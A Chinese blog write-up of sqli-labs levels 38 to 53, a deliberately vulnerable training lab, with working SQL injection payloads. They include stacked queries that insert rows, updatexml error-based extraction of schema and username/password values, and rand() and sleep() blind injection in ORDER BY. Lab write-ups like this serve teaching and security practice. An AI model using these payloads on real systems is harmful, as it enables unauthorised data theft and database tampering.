当前位置:网站首页>sqli-labs通关汇总-page3
sqli-labs通关汇总-page3
2022-07-02 06:23:00 【徐记荣】
less-38(GET型、单引号、mysqli_multi_query()堆叠注入)
mysqli_multi_query()
mysqli_store_result()
mysqli_fetch_row()
mysqli_more_results()
less-39(GET型、数字型、mysqli_multi_query()堆叠注入)
less-40(GET型、单引号括号、mysqli_multi_query()堆叠注入)
less-41(GET型、数字型、mysqli_multi_query()堆叠注入)
less-42(POST型、单引号、mysqli_multi_query()堆叠注入)
less-43(POST型、单引号括号、mysqli_multi_query()堆叠注入)
less-44(POST型、单引号、mysqli_multi_query()堆叠注入)
less-45(POST型、单引号括号、mysqli_multi_query()堆叠注入)
less-46(GET型、数字型、order by报错回显)
less-47(GET型、单引号、order by报错回显)
less-48(GET型、数字型、order by rand()布尔盲注)
less-49(GET型、字符型、order by时间盲注)
less-50(GET型、数字型、order by报错回显与mysqli_multi_query()堆叠注入)
less-51(GET型、单引号、order by报错回显与mysqli_multi_query()堆叠注入)
less-52(GET型、数字型、order by rand()布尔盲注与mysqli_multi_query()堆叠注入)
less-53(GET型、字符型、order by时间盲注与mysqli_multi_query()堆叠注入)
less-38
标题:GET - Stacked Query Injection - String
这关代码改了,不是以前那种方式了
if (mysqli_multi_query($con1, $sql))
{
/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
// mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($con1))
{
//printf("-----------------\n");
}
//while (mysqli_next_result($con1));
}
mysqli_multi_query()
定义和用法:
mysqli_multi_query()
函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。相比mysqli_query()
,mysqli_multi_query()
可以执行多个查询语句
语法:
mysqli_multi_query(connection,query);
参数 | 描述 |
---|---|
connection | 必需。规定要使用的 MySQL 连接。 |
query | 必需。规定一个或多个查询,用分号进行分隔。 |
mysqli_store_result()
定义和用法:
mysqli_store_result
转移上一次查询返回的结果集,迁移之后的结果集可以 在 mysqli_data_seek()
函数中使用
语法:
mysqli_store_result ( mysqli $link [, int $option ] )
参数 | 描述 |
---|---|
link | 必需。由mysqli_connect() 或 mysqli_init() 返回的链接标识 |
mysqli_fetch_row()
定义和用法:
mysqli_fetch_row()
函数从结果集中取得一行,并作为枚举数组返回。
语法:
mysqli_fetch_row(result);
参数 | 描述 |
---|---|
result | 必需。规定由 mysqli_query()、mysqli_store_result() 或 mysqli_use_result() 返回的结果集标识符。 |
mysqli_more_results()
定义和用法:
mysqli_more_results() 函数检查一个多查询是否有更多的结果。
语法:
mysqli_more_results(connection);
这题关键点就在这个mysqli_multi_query()
函数,这个函数可以执行多条SQL语句,以至于我们可以堆叠注入
,输入多条查询语句(以;
为间隔符)
所以堆叠注入怎么测?
闭合后加个;
不报错,应该就是可以堆叠注入
payload:
1';insert into users(id,username,password) values ('20','123','123')-- -
less-39
标题:GET - Stacked Query Injection - Intiger based
跟38关一样,就是是数字型堆叠注入
payload:
1;insert into users(id,username,password) values ('21','123','123')-- -
less-40
标题:GET - BLIND based - String - Stacked
index.php
下是基于')
的堆叠注入,或者联合查询均可
除了这个index.php
还有其他文件
没找到什么东西
less-41
标题:GET - BLIND based - Intiger - Stacked
数字型
的联合查询或堆叠注入,跟38、39、40关类似
less-42
标题:POST - Error based - String - Stacked
index.php
提交表单信息到login.php
看源码得知,
首先是没有对数据库做编码字符设置,是不能做宽字节注入的,但是,此处对于前端提交的login_password
,没有做转义,且查询函数为多查询语句
的mysqli_multi_query()
,说明此处可以进行堆叠注入,可以堆叠任意语句,此处就不做演示了
如果信息正确呢就会跳转到logged-in.php
可以做密码的修改,填写信息后表单提交到pass_change.php
,
看源码这里信息也是都做了转义,$_SESSION["username"]
也是数据库查询到的信息,我们不能操作
红框内的文件是有东西的,其他文件没有
less-43
标题:POST - Error based String - Stacked with twist
跟42关一样的堆叠注入,不过是闭合变为了('')
less-44
跟四十二关一样
区别就是42关有个报错前端回显的,44关去了,但不影响
less-45
标题:POST - Error based - String Stacked - Blind
45关跟43关一样,只是去了前端报错
less-46
标题:GET - Error based - Numeric - ORDER BY CLAUSE
这关的变量值改为sort了,我们输入?sort=1
试试?sort=2
可猜测此题目是order by
类型的基于字段值的排序查询
这时候我们可以嵌套一个报错回显函数来获取信息
因为报错函数显示字符位数有限,最长是32位
,我们有两种方法
1.limit逐行输出
2.substr截取字符串(截取时候把握在32位以内)
我们这次采用substr
截取字符串来获取信息
获取所有数据库
?sort=1 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,30)),0)
// XPATH syntax error: '~information_schema,challenges,'
?sort=1 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),30,30)),0)
//XPATH syntax error: '~mysql,omg,performance_schema,s'
....
获取某个数据所有表
?sort=1 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,30)),0)
// XPATH syntax error: '~emails,referers,uagents,users'
获取某个表所有字段名
?sort=1 and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,30)),0)
//XPATH syntax error: '~id,username,password'
获取字段值
?sort=1 and updatexml(1,concat(0x7e,substr((select group_concat(username,'~',password) from users),1,30)),0)
//XPATH syntax error: '~Dumb~Dumb,Angelina~I-kill-you,'
看一下源码
less-47
标题:GET Error based - String - ORDER BY CLAUSE
与46关一样,只是闭合变为了单引号
$sql = "SELECT * FROM users ORDER BY '$id'";
但是我们注意的是order by
后面跟数字
或字段名
,单引号闭合的只能跟字段名了,若填写其他字符,则默认按第一列排序
我们直接查字段值
获取字段值
?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,'~',password) from users),1,30)),0) and '1
//XPATH syntax error: '~Dumb~Dumb,Angelina~I-kill-you,'
less-48
标题:GET - Error based - Blind - Numeric - ORDER BY CLAUSE
输入?sort=1
和?sort=2
发现回显是可变的,输入?sort=1'
和?sort=1"
无回显,说明是数字型
查一下数据库
?sort=1 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,30)),0)
发现不回显,应该是把报错去了
这时候只能采用布尔盲注,我们考虑的点应该是怎么找到布尔盲注的0
和1
这时候用到rand()
函数了,配套order by
使用效果如下
order by rand(false)
order by rand(true)
我们之前说过rand()
是伪随机函数,排序是固定的,配合order by
后能产生0
和1
区分的效果,以此我们可以配合
查数据库
?sort=rand(ascii(substr((select group_concat(schema_name) from information_schema.schemata),1,1))=105)
如果是错的呢
?sort=rand(ascii(substr((select group_concat(schema_name) from information_schema.schemata),1,1))=0)
我们就可以用这个方法去慢慢测了,或者直接sqlmap跑
less-49
标题:GET - Error based - String - Blind - ORDER BY CLAUSE
这关闭合方式是'
,就不能用order by rand()
了,改用时间盲注
原理就是
?sort=1' and if(1=1,sleep(0.05),null) and '0
完整SQL语句
SELECT * FROM users ORDER by '1' and if(1=1,sleep(0.1),null) and '0'
值得注意的是,
当order by
后面的值是正确的时候才会执行后面的if
语句
自己在进行盲注前可以在Navicat里试一下再去写脚本
还有就是order by
的遍历机制是遍历所有行
,所以每有一行,sleep()就会执行一次
,所以这个sleep()
的值我们可以凭感觉去调一下,不要太大,这里我们用sleep(0.1)
我们查库的语句可以这么写
1' and if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),1,1))=105,sleep(0.1),null) and '1
一共12行,一行0.1秒,总执行了1.4秒多,差不多,后面猜表猜字段原理一样,不写了
less-50
标题:GET - Error based - ORDER BY CLAUSE - numeric - Stacked injection
除了查询时候用的是mysqli_multi_query()
,其他都一样
我们这里刚好展示一下这么看堆叠
46关 ?sort=1;select 1,2,3
报错
50关 ?sort=1;select 1,2,3
正常回显
less-51
标题:GET - Error based - ORDER BY CLAUSE - String - Stacked
跟47关区别就是增加了个mysqli_multi_query()
的堆叠注入
less-52
标题:GET - Blind based ORDER BY CLAUSE - numeric Stacked injection
跟48关区别就是增加了个mysqli_multi_query()
的堆叠注入
less-53
标题:GET - Blind based - ORDER BY CLAUSE - String - stacked injection
跟49关区别就是增加了个mysqli_multi_query()
的堆叠注入
边栏推荐
- Implement strstr() II
- 微信小程序基础
- Self cultivation of programmers - Reflection on job hunting
- Latex在VSCODE中编译中文,使用中文路径问题解决
- Redis - cluster data distribution algorithm & hash slot
- The default Google browser cannot open the link (clicking the hyperlink does not respond)
- Linux MySQL 5.6.51 Community Generic 安装教程
- unittest. Texttestrunner does not generate TXT test reports
- Pytest (1) case collection rules
- 看完有用的blog
猜你喜欢
Présence d'une panne de courant anormale; Problème de gestion de la fsck d'exécution résolu
How to try catch statements that return promise objects in JS
PgSQL learning notes
由于不正常断电导致的unexpected inconsistency;RUN fsck MANUALLY问题已解决
unittest. Texttestrunner does not generate TXT test reports
Win10桌面图标没有办法拖动(可以选中可以打开可以删除新建等操作但是不能拖动)
Win10:添加或者删除开机启动项,在开机启动项中添加在用户自定义的启动文件
Latest CUDA environment configuration (win10 + CUDA 11.6 + vs2019)
Sublime text configuring PHP compilation environment
FE - 微信小程序 - 蓝牙 BLE 开发调研与使用
随机推荐
Function execution space specifier in CUDA
Thread hierarchy in CUDA
pytest(2) mark功能
Code execution sequence with and without resolve in promise
Redis - big key problem
Functions of tensorrt
Vscode installation, latex environment, parameter configuration, common problem solving
CUDA and Direct3D consistency
Unexpected inconsistency caused by abnormal power failure; Run fsck manually problem resolved
[literature reading and thought notes 13] unprocessing images for learned raw denoising
There is no way to drag the win10 desktop icon (you can select it, open it, delete it, create it, etc., but you can't drag it)
Common function writing method and set get writing method for calculating attributes
Android - Kotlin 下使用 Room 遇到 There are multiple good constructors and Room will ... 问题
Kotlin - 验证时间格式是否是 yyyy-MM-dd HH:mm:ss
Blog directory of zzq -- updated on 20210601
No process runs when querying GPU, but the video memory is occupied
There are multiple good constructors and room will problem
The intern left a big hole when he ran away and made two online problems, which made me miserable
CTF three count
ModuleNotFoundError: No module named ‘jieba.analyse‘; ‘jieba‘ is not a package